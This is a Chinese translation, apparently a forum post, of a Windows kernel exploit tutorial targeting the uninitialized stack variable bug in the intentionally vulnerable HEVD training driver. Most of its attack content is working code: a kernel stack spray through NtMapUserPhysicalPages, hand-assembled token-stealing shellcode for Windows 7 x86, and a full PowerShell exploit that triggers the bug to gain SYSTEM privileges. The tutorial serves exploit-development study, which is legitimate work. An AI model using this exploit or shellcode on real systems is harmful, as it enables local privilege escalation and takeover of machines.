-
-
[翻译]Windows exploit开发系列教程第十三部分:内核利用程序之未初始化栈变量
-
发表于: 2018-3-14 20:26 4138
-
点击查看原文
Windows exploit开发系列教程第十三部分:内核利用程序之未初始化栈变量
欢迎回到Windows exp开发系列教材的第13部分。今天我们将编写一个基于HEVD有漏洞驱动的未初始化栈变量exp。调试环境的安装请参考第十部分。让我们开始吧!
侦查挑战
简单的看一下有问题的函数(here)。
NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; #ifdef SECURE // Secure Note: This is secure because the developer is properly initializing // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling // the callback UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0}; #else // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure // before calling the callback when 'MagicValue' does not match 'UserValue' UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; #endif PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_STACK_VARIABLE), (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE)); // Get the value from user mode UserValue = *(PULONG)UserBuffer; DbgPrint("[+] UserValue: 0x%p\n", UserValue); DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable); // Validate the magic value if (UserValue == MagicValue) { UninitializedStackVariable.Value = UserValue; UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback; } DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value); DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback); #ifndef SECURE DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n"); #endif // Call the callback function if (UninitializedStackVariable.Callback) { UninitializedStackVariable.Callback(); } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
如果我们传入一个正确的魔数,它会填充变量以及回调参数。如果传递的值不正确那么就不会填充。这里的问题在于变量定义时并没有设置一个特定的初始值。由于该变量布局在栈上,它会拥有一个前调用函数遗留的随机垃圾值。注意到这样的一个检查(if UninitializedStackVariable.Callback...)毫无卵用并不能阻止其崩溃。
该函数的IOCTL码是0x22202F。可以查看本系列教程的第十部分和第十一部分来了解IOCTL是如何被识别的。转入IDA来看看这个函数。
思考一下上图的4个函数块。如果比较成功我们就会命中绿色块,在这里我们的变量被填充了适当的值,此后在红色块中当回调函数被调用时也不会出什么意外。
不错,然而如果我们比较失败了,跳过了绿色快,继续下行调用函数的时候,我们调用的将是一个内核栈上的垃圾值!
这个值是不固定的,如果你尝试重现,很可能会在Windbg中看到不同的值。在虚拟机BSOD之前,让我们快速的看一下该变量距离当前栈起始位置有多远。
计算方式:0x8a15ced0 - 0x8a15c9cc = 0x504 (1284 bytes)
让我们重新执行并对BSOD进行心智健全检查。
Pwn
如果我们可以覆盖内核栈上的整型指针为我们shellcode的地址就大功告成了,但是这要怎么做呢?看起来内核栈喷射是个办法,我强烈推荐你去阅读@j00ru的这篇文章 。有一个未文档化的函数,NtMapUserPhysicalPages,我们不关心它用于干什么,但它的一部分功能是拷贝输入的字节到内核栈上的一个本地缓冲区。最大尺寸可以拷贝1024*IntPtr::Size(32位机器上是4字节=>4096字节)。对我们的需求来说足够了,下面的POC用以展示!
Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("ntdll.dll")] public static extern uint NtMapUserPhysicalPages( IntPtr BaseAddress, UInt32 NumberOfPages, Byte[] PageFrameNumbers); } "@ # $KernelStackSpray = 4*1024 $KernelStackSpray = [System.BitConverter]::GetBytes(0xdeadb33f) * 1024 # This call will fail with NTSTATUS = 0xC00000EF (STATUS_INVALID_PARAMETER_1), # however, by that time the buffer is already on the Kernel stack ;) [EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null
我们在NtMapUserPhysicalPages函数返回前下一个断点,运行POC以检阅内核栈。
完美,在NtMapUserPhysicalPages返回后,栈应该被设置下去。因此我们可以污染该未初始化栈变量并调用该驱动函数。注意到该喷射是不连续的,巡视之后我发现栈上有大小相当的块(sizable chunks)但是他们被存储的值分割开来(我推测)。幸运的是,我们需要的偏移处可以被正确设置。
还有个关键点是栈不是一成不变的,因此最好在恰好触发bug之前进行喷射,这可以避免缓冲区被更少的操作修改。
再一次,我们覆盖该函数调用为那个重用的窃取token的shellcode地址,它和前面的章节一致无需任何修改。
$Shellcode = [Byte[]] @( #---[Setup] 0x60, # pushad 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] #---[Copy System PID token] 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 0x75, 0xED, # jnz ->| 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx #---[Recover] 0x61, # popad 0xC3 # ret )
我们的exp工作流将如下:(1)将shellcode放在内存任意位置,(2)使用指向shellcode的指针喷射内核栈,(3)触发未初始化变量漏洞。
终结
这就是所有的内容,可以参考下面的完整exp来了解更多信息。
Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; public static class EVD { [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] public static extern IntPtr CreateFile( String lpFileName, UInt32 dwDesiredAccess, UInt32 dwShareMode, IntPtr lpSecurityAttributes, UInt32 dwCreationDisposition, UInt32 dwFlagsAndAttributes, IntPtr hTemplateFile); [DllImport("Kernel32.dll", SetLastError = true)] public static extern bool DeviceIoControl( IntPtr hDevice, int IoControlCode, byte[] InBuffer, int nInBufferSize, byte[] OutBuffer, int nOutBufferSize, ref int pBytesReturned, IntPtr Overlapped); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect); [DllImport("ntdll.dll")] public static extern uint NtMapUserPhysicalPages( IntPtr BaseAddress, UInt32 NumberOfPages, Byte[] PageFrameNumbers); } "@ # Compiled with Keystone-Engine # Hardcoded offsets for Win7 x86 SP1 $Shellcode = [Byte[]] @( #---[Setup] 0x60, # pushad 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] #---[Copy System PID token] 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 0x75, 0xED, # jnz ->| 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx #---[Recover] 0x61, # popad 0xC3 # ret ) # Write shellcode to memory echo "`n[>] Allocating ring0 payload.." [IntPtr]$ShellcodePtr = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $ShellcodePtr, $Shellcode.Length) echo "[+] Payload size: $($Shellcode.Length)" echo "[+] Payload address: 0x$("{0:X8}" -f $ShellcodePtr.ToInt32())" $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) if ($hDevice -eq -1) { echo "`n[!] Unable to get driver handle..`n" Return } else { echo "`n[>] Driver information.." echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" echo "[+] Handle: $hDevice" } # j00ru -> nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques # Shellocde IntPtr spray.. $KernelStackSpray = [System.BitConverter]::GetBytes($ShellcodePtr.ToInt32()) * 1024 echo "`n[>] Kernel stack spray.." echo "[+] Spray buffer: $(1024*[IntPtr]::Size)" echo "[+] Payload size: $([IntPtr]::Size)`n" echo "[>] Call NtMapUserPhysicalPages & trigger bug.." echo "[+] Radio silence..`n" [EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null $Buffer = [System.BitConverter]::GetBytes(0xdeadb33f) [EVD]::DeviceIoControl($hDevice, 0x22202F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
- [翻译]Windows 10 Segment Heap内部机理 19618
- [翻译]Windows 8堆内部机理 7019
- [翻译]深入理解LFH 7641
- [翻译]Bitmap轶事:Windows 10纪念版后的GDI对象泄露 9162
- [翻译]理解池污染三部曲 6671